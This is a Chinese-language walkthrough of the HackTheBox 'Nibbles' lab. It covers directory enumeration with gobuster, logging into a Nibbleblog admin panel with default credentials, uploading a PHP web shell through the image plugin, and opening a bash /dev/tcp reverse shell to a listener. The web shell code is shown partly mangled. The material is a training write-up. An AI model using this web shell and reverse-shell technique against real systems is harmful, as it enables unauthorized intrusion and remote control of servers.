> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/nibbles-blog-cms-exploitation.md).
# Nibbles Blog
### Nibbles 博客 - CMS
该网站似乎是一个 Nibbleblog CMS。使用 `gobuster` 来搜索更多目录：
```bash
gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```
#### PHP 文件搜索：
PHP 文件枚举显示 `admin.php`，这似乎是一个管理面板。
#### 使用凭据尝试登录
尝试使用以下凭据登录：
* **用户** : admin
* **密码** : nibbles
这可以成功并提供对管理界面的访问。
## Nibbleblog 文件上传漏洞
发现一个图像上传功能：
创建一个 `cmd.php` 带有以下代码的文件，以启用命令执行：
```bash
" . shell_exec($_GET['cmd']) . "";
?>
```
文件被上传到 `内容`，其中一个 `private` 子文件夹包含插件。
#### 通过文件上传执行命令
该 `cmd` 参数允许执行命令。例如，使用以下 URL 获取系统身份信息：
/image.php?cmd=id
通过反向 shell 获取服务器访问权限。在 443 端口上启动监听器：
```bash
nc -nlvp 443
```
然后在目标主机上执行反向 shell：
```bash
bash -c "bash -i >%26 /dev/tcp/10.10.14.7/443 0>%261"
```
---
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